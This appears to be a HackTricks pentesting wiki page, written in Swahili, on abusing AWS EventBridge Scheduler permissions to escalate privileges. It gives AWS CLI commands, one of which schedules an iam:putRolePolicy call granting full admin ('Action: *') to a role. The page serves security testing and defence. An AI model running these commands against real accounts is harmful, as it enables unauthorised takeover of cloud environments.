AWS - EventBridge Scheduler Privesc

Reading time: 3 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

EventBridge Scheduler

Taarifa zaidi kuhusu EventBridge Scheduler katika:

AWS - EventBridge Scheduler Enum

iam:PassRole, (scheduler:CreateSchedule | scheduler:UpdateSchedule)

Mshambuliaji mwenye ruhusa hizo ataweza create|update scheduler na kutumia vibaya ruhusa za scheduler role zilizounganishwa nayo ili kufanya kitendo chochote

Kwa mfano, wanaweza kusanidi schedule ili kuitisha Lambda function ambayo ni kitendo chenye template:

bash
aws scheduler create-schedule \
--name MyLambdaSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'

Mbali na vitendo vya huduma vinavyotumia template, unaweza kutumia universal targets katika EventBridge Scheduler kuitisha anuwai ya operesheni za API kwa huduma nyingi za AWS. Universal targets zinatoa unyumbulifu wa kuitisha karibu API yoyote. Mfano mmoja ni kutumia universal targets kuongeza "AdminAccessPolicy", ukitumia role inayokuwa na sera ya "putRolePolicy":

bash
aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
}'

Marejeo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks